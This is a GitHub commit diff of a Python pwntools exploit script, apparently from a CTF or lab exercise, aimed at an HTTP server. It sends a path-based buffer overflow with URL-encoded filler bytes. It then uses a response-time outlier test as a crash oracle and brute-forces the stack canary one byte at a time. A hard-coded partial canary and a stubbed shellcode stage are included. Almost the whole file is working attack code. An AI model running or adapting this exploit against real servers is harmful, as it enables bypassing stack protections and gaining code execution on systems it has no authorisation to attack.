Skip to content

Commit 3b35e0d

Browse files
committed
working canary bruteforce
1 parent 4b3800f commit 3b35e0d

File tree

1 file changed

+77
-40
lines changed

1 file changed

+77
-40
lines changed

expl_canary.py

Lines changed: 77 additions & 40 deletions
Original file line numberDiff line numberDiff line change
@@ -3,7 +3,6 @@
33
import time
44
import statistics
55
import math
6-
from scipy.stats import norm
76

87
context.terminal = ['tmux', 'splitw', '-h']
98

@@ -27,6 +26,7 @@ def package_http_request(path):
2726
b"\r\n"
2827
])
2928

29+
3030
def run_expl(payload, log=True):
3131
p = remote(ADDR, PORT)
3232
# buffer overflow
@@ -36,10 +36,14 @@ def run_expl(payload, log=True):
3636
expl += payload
3737
#url encode all the bytes that would block the http parser
3838
expl = expl.replace(b'%', b'%25')
39-
expl = expl.replace(b'\x00', b'%00')
40-
expl = expl.replace(b'\x20', b'%20')
41-
expl = expl.replace(b'\x0a', b'%0a')
42-
expl = expl.replace(b'\x0d', b'%0d')
39+
expl = expl.replace(b'?', b'%3f')
40+
for i in range(0x21):
41+
expl = expl.replace(bytes([i]), f'%{i:02X}'.encode())
42+
# expl = expl.replace(b'%', b'%25')
43+
# expl = expl.replace(b'\x00', b'%00')
44+
# expl = expl.replace(b'\x20', b'%20')
45+
# expl = expl.replace(b'\x0a', b'%0a')
46+
# expl = expl.replace(b'\x0d', b'%0d')
4347
http_req = package_http_request(expl)
4448
if log:
4549
print("sending these request bytes:")
@@ -71,7 +75,7 @@ def run_expl_timer(expl):
7175
print(f"server response time: {delta}")
7276
return delta
7377

74-
def generate_crash_time_test(n=30, alpha=0.5):
78+
def generate_crash_time_test(n=30, treshold=3):
7579
"""returns a function that will test if a given server response time
7680
indicates a server crash
7781
@@ -80,39 +84,22 @@ def generate_crash_time_test(n=30, alpha=0.5):
8084
and a new sample is required for an accurate test
8185
"""
8286
# get sample, from running a query that doesn't crash the server
83-
print("generating sample...")
87+
print("sampling server response time...")
8488
sample_timings = []
8589
for _ in range(n):
8690
expl = b'' #no exploit, the server should not crash
8791
sample_timings.append(run_expl_timer(expl))
8892
# calculate sample statistics
8993
mean = statistics.mean(sample_timings)
9094
std = statistics.stdev(sample_timings)
91-
n = len(sample_timings)
92-
stderr = std / math.sqrt(n)
9395
print(f"mean: {mean}\nstd: {std}\n n:{n}")
9496

95-
def z_test(x):
96-
"""return true if the given x time measurement indicates a server crash
97-
98-
This is testing if x is different from the sample measurements.
99-
The sample measurements are taken on a non-crashing payload.
100-
"""
101-
z_score = (x - mean) / stderr
102-
# The p-value for a two-tailed test (check for significance in both directions)
103-
p_value = 2 * norm.sf(abs(z_score))
104-
#null hyp: x has the same distrib. as the sample.
105-
#alt hyp: x is different from the sample
106-
reject_null_hyp = p_value < alpha
107-
return reject_null_hyp
108-
10997
def is_outlier(x):
11098
"""return true if the given x time measurement indicates a server crash
11199
112100
This is testing if x is an outlier in the sample measurements.
113101
The sample measurements are taken on a non-crashing payload.
114102
"""
115-
treshold = 3
116103
Z = (x - mean) / std
117104
print(f"treshold: {Z}")
118105
is_outlier = abs(Z) > treshold
@@ -122,9 +109,6 @@ def is_outlier(x):
122109

123110

124111

125-
126-
127-
128112
def run_shellcode(canary):
129113

130114
shellcode_payload = f"""
@@ -147,25 +131,78 @@ def run_shellcode(canary):
147131

148132
def main():
149133
context.log_level = "warn"
150-
is_crash_time = generate_crash_time_test()
134+
test_sample_size = 2
135+
crash_time_test = generate_crash_time_test(n=test_sample_size)
151136

152137
#bruteforce the canary
153-
154-
for _ in range(10):
155-
t1 = run_expl_timer(b'\x00')
156-
test = tester(t1)
157-
print(f"NOCRASH time: {t1} is_crash: {test}")
158-
if test:
159-
print("!!!!!!!!!!!!")
160-
t1 = run_expl_timer(b'\x01')
161-
test = tester(t1)
162-
print(f"CRASH time: {t1} is_crash: {test}")
163-
if not test:
164-
print("!!!!!!!!!!!!")
138+
#TODO
139+
canary_bytes = b''
140+
canary_bytes = b'\x00L\x82_\xffP\x82\xf1'
141+
142+
for i in range(8 - len(canary_bytes)):
143+
for j in range(0xff+2):
144+
if j == ord('\t'):
145+
continue
146+
if j == 0xff+1:
147+
#should not get here, recalibrate the timing test
148+
print("recalibrating the oracle")
149+
crash_time_test = generate_crash_time_test(n=test_sample_size)
150+
else:
151+
current_byte = bytes([j])
152+
payload = canary_bytes + current_byte
153+
print(payload)
154+
response_time = run_expl_timer(payload)
155+
is_crash = crash_time_test(response_time)
156+
if not is_crash:
157+
canary_bytes += current_byte
158+
break
159+
160+
print("leaked canary: ")
161+
print(canary_bytes)
162+
163+
#run shellcode
164+
#TODO
165+
#
166+
# for _ in range(10):
167+
# t1 = run_expl_timer(b'\x00')
168+
# test = tester(t1)
169+
# print(f"NOCRASH time: {t1} is_crash: {test}")
170+
# if test:
171+
# print("!!!!!!!!!!!!")
172+
# t1 = run_expl_timer(b'\x01')
173+
# test = tester(t1)
174+
# print(f"CRASH time: {t1} is_crash: {test}")
175+
# if not test:
176+
# print("!!!!!!!!!!!!")
165177

166178

167179
context.log_level = "info"
168180

181+
def test(log=True):
182+
p = remote(ADDR, PORT)
183+
# buffer overflow
184+
padding_size = 0x220 # tiny with canary
185+
expl = b''
186+
expl += b'\x01aaaaaaa'
187+
expl += b'a'*(padding_size-8-8) #8 is the canary size
188+
expl += b'\x01' #canary
189+
#url encode all the bytes that would block the http parser
190+
expl = expl.replace(b'%', b'%25')
191+
expl = expl.replace(b'?', b'%3f')
192+
for i in range(0x21):
193+
expl = expl.replace(bytes([i]), f'%{i:02X}'.encode())
194+
# expl = expl.replace(b'\x20', b'%20')
195+
# expl = expl.replace(b'\x00', b'%00')
196+
# expl = expl.replace(b'\x0a', b'%0a')
197+
# expl = expl.replace(b'\x0d', b'%0d')
198+
http_req = package_http_request(expl)
199+
if log:
200+
print("sending these request bytes:")
201+
print(http_req)
202+
p.send(http_req)
203+
res = p.clean()
204+
print(res)
205+
p.close()
169206

170207
main()
171208

0 commit comments

Comments
 (0)